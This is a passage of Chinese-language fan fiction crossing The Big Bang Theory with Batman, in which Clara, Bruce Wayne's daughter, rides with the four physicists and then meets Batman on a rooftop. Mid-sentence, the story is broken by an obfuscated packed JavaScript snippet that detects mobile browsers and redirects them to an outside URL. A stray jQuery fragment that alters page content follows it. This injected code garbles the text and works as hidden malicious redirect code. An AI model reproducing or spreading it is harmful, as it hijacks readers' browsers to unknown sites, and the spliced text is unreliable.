“那么，我先自我介绍一下，我是莱纳德·霍夫斯塔德，副驾你已经认识了，是的，就是那个在海德堡大学灌肠的谢尔顿·库珀。后排靠窗的是拉杰什·库萨帕里，你旁边的是霍华德·沃罗威茨。”
莱纳德很谨慎，他一直等到所有的人都笑得不能继续再笑时才开车，然后依次给克拉拉介绍了他们四个。
克拉拉：“很高兴认识你们，请问你们从加州过来……”
谢尔顿傲然地说：“是为了JL11，真不敢相信他们三个居然抢到票了。”
莱纳德反驳：“嘿，说的好像你抢到过前十年JL展的门票。”
霍华德：“是啊，我知道这不可思议但是今年我们四个人都买到了JL的门票。”
克拉拉“哇”了一声：“这就是你们不远千里从加州过来的原因吗？”
莱纳德：“正是，我们请了年假，一路自驾过来的。”
克拉拉：“拐到这座桥上去，莱纳德，这样我们就离开韦恩岛了，这座岛上除了韦恩庄园什么都没有。这座桥叫做罗伯特·凯恩纪念大桥，通过它我们就回到老城区了。”
莱纳德：“谢谢，克拉拉，不知道怎么回事，我们的车一过桥导航就失灵了。但是刚刚我们遇到了一起抢劫案，为了躲开抢匪我们慌不择路上了这个岛。”
克拉拉：“因为韦恩岛是布鲁斯·韦恩的私人岛屿，我想他大概有专属卫星什么的吧。”
霍华德在后排的中间坐着，他旁边是拉杰什和克拉拉。
“听上去你对哥谭已经很了解了，克拉天使。”
克拉拉起了一身鸡皮疙瘩：“对不起，你叫我什么？哦，我突然想到一个问题，为什么拉杰什一直不说话？”
霍华德立马回答：“拉杰什不能和女人说话，特别是像你一样动人的女士，我的天使。”
莱纳德赶紧找补：“不用担心，克拉拉，你在我的车上是绝对安全的。”
谢尔顿插嘴：“既然我们又回到了这个发生抢劫案以至于我们不得不拐上一座大桥去避险的哥谭老城区，克拉拉，我想你应该知道……”
克拉拉：“我不应该知道。”
她不想回答灌肠男孩的问题。
拉杰什把霍华德拽过来低声说了几句话，随后霍华德说：“拉杰什有一个问题，既然韦恩岛上除了韦恩庄园什么都没有，你为什么会在这里？”
克拉拉：“这个问题嘛……”
是否应该告诉他们自己是布鲁斯·韦恩的女儿是一个问题。再明显不过了，在三天前，从来没有一个人会把克拉拉·缺德和布鲁斯·韦恩联系起来，直到蝙蝠侠抱起了她。
这可能会给自己带来麻烦。
但是克拉拉是个成年人了，她有自己的判断。车上坐着的这四个人肯定不会是坏蛋。
她能感觉出来。
谢尔顿：“拉杰什，如果你怀疑克拉拉·缺德是布鲁斯·韦恩的女儿的话，那肯定是不可能的，但是如果说她是韦恩一个被逐出家门的亲戚，这是有可能的。根据她对你们提出我在海德堡大学灌肠的事例来看，有充分的证据证明这位小姐是一个……”
克拉拉当机立断：“我是布鲁斯·韦恩的女儿。”
谢尔顿一顿：“哦。”
他像鲤鱼打挺一样挺了挺身，又调节了一下安全带。
拉杰什迅速在手机备忘录上打字，然后拿给霍华德看。
霍华德：“拉杰什说他的爸爸曾经收留过一个来印度学习摔跤的美国男孩，后来他在一次商务宴会上又见到了那个美国男孩，并且确认他就是布鲁斯·韦恩。”
克拉拉：“多么棒啊，你认识布鲁斯。我还不知道布鲁斯会摔跤呢，不过考虑到他是一个极限运动爱好者，这也不足为奇。有库萨帕里博士这样的朋友真不错。”
拉杰什狂按手机键盘，然后直接把备忘录跨过霍华德拿到克拉拉面前给她看。
“我不是布鲁斯·韦恩的朋友！布鲁斯从第一堂摔跤课开始就不断地打败我，我的爸爸说我还不如一个美国人擅长摔跤，但是布鲁斯·韦恩比我大十岁！当我们成年后在商务宴会上见面时，布鲁斯身边是两个艳光四射的模特而我只能拿果汁喝！”
克拉拉保持沉默。这一点她能看出来，而且很容易很看出来，在车上的四个人都不会擅长运动，而布鲁斯——看起来能打爆他们四个。
克拉拉：“我对此感到遗憾，拉杰什……”
霍华德激动地挥手：“不必感到遗憾，哥谭公主，有你在我的车上是我的荣幸。”
莱纳德：“嘿！这是我的车！”
谢尔顿：“我们不能凭她一句话就断定她是布鲁斯的女儿！”
克拉拉：“太巧了，我随身携带亲子鉴定书。”
第一天晚上戈登给她的亲子鉴定书就在克拉拉的衣袋里，和护照放在一起，于是她拿出来递给谢尔顿。
“请看吧。”
谢尔顿：“哦。”
他再次挺身，调节安全带，然后给空气使眼色。
莱纳德：“我不知道你还有癫痫，谢尔顿。”
克拉拉赶紧打断：“既然我们到了老城区，不如把我放下来怎么样？我该去工作了，你们懂的，美国政府不可能允许我在白天的大街上用激光，而且罗宾只在晚上活动。”
谢尔顿：“好主意，这样我们终于能去酒店而不是在十二点时还在陌生城市的街头乱逛。”
霍华德：“我送你下去。”
克拉拉想要拿起来自己的背包，但是霍华德抢先开始对装满了观鸟设备的背包——
又拉又拽。
霍华德：“老天，这个包可真够沉的，我想我更习惯的是太空的重量……”
克拉拉默默把包拎起来：“野外观测都是这个份量的背包，我们实验室的每一个人都背的动。”
霍华德：“没关系，我可以……”
克拉拉打开车门：“再见。”
她决定试用一下达米安的钩爪枪。
霍华德也跟着下来：“我能否有幸得到公主的联系……”
克拉拉瞄准路灯开了第一枪。
“我在飞。”
她死死抓住钩爪枪，十月的冷空气飞速从面颊上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202284|180426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
滑过——
然后停下来了。
克拉拉没有用过钩爪枪，她没有飞上路灯，而是挂在了上面。
“这和我想象的不太一样。”
她在霍华德头上蹬了蹬腿，做了一个引体向上翻到路灯顶上去。
霍华德正在问车里的人：“你们看到克拉拉去哪里了吗？”
克拉拉在不算太宽的路灯顶上勉强稳住身形，夜风吹起她的头发。她低头看着下面乱成一团的四个男人，他们中没有任何一个想到要抬头看看路灯，过了两三分钟，莱纳德的车开走了。
而克拉拉愉快地扣动了第二次扳机，让勾爪挂在对面房子的屋檐上，自己荡过去。
“好极了，现在的问题是，我怎么下去。”
克拉拉下不去了。钩爪枪只能让她走到高处，不能帮助她下去。现在，她在一座二层便利店的楼顶，这个高度对于观测来说是不够的。
克拉拉沉思：“还有一个方法。”
另一个方法是不停地爬到更高的建筑物顶上，比方说，她现在跳到另一座五层的居民楼顶上，一直爬到韦恩大厦的天台，然后走消防楼梯下来。
不过老城区的犯罪率更高，观测到罗宾的可能性也更大。
克拉拉在四四方方的楼顶上走了一圈，打算在附近找一座适合当自己据点的建筑。
夜色很黑，克拉拉拧开了手电筒的开关，然后看到一个黑漆漆的影子在楼间滑翔。它很大，但是很轻盈。
克拉拉立马拿出来自己的相机按快门。
她咔嚓咔嚓地狂按快门。
他呼哧呼哧地狂带阵风。
“蝙蝠侠！”
克拉拉举起相机，想要照一张蝙蝠侠的正脸照，但是她的手被抓住了。
布鲁斯感到心累。
他明明说过了，只有克拉拉等到明天他雇完保镖就可以在晚上出来观鸟，但是她还是跑了，夜巡才开始不到20分钟，今天留守蝙蝠洞的红罗宾就在通讯中说克拉拉从韦恩庄园里偷溜出去了。
“嘿，蝙蝠侠，请问你会说英语吗？你看上去是能和哥谭本地人沟通的，我怀疑上次是韦恩大厦的保安叫来了你……”
蝙蝠侠：“哥谭的夜晚很危险，不要出来。”
克拉拉早就悄悄按下了录音笔的开机键，确保自己能录下蝙蝠侠发出的每一个声音。
“把我的手松开怎么样？这样我就能拍到你的正脸了，如果你不愿意被拍的话——”
克拉拉跳了一下，正面还是黑漆漆，但是有一个下巴。
有下巴。
蝙蝠可没有下巴。
克拉拉：“请问我可以摸摸你的下巴吗，蝙蝠侠？”
蝙蝠侠：“不。”
克拉拉陷入沉思。
这个阴沉沉的喉癌一样的声音显然是机器合成的，不是蝙蝠侠的原声。
“好吧，我看出来了，布鲁斯真的很谨慎，尽管你是一个蝙蝠侠而不是人，他连你的声音都不想露出来。”
蝙蝠侠的耳朵尖尖地插进黑夜。
“我能摸摸你的耳朵吗，蝙蝠侠？”